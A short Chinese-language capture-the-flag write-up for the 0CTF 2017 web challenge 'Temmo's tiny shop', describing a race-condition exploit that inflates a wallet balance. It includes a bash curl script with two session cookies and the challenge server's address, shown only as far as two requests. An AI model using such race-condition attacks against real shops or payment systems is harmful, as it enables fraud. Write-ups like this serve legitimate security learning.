2017年0CTF,WEB部分题目的Writeup。
Temmo’s tiny shop
本题首先要获取!HINT!,但是初始钱包里只有4000,而HINT要价8000,此处使用条件竞争(race condition)这一漏洞来提升wallet的数值。利用两个浏览器登录同一账号,使用两个COOKIE来同时进行售卖的动作,则会进行两次售卖动作。bash代码如下
#!/bin/bash
cookie1="PHPSESSID=m19tgi4tq3eptm53pss14dc910"
cookie2="PHPSESSID=39083e7nft6kbvkjvph29socb0"
url="http://202.120.7.197/app.php"
curl "$url?action=buy&id=2" -b $cookie1
curl "$url?action=sale&id=2"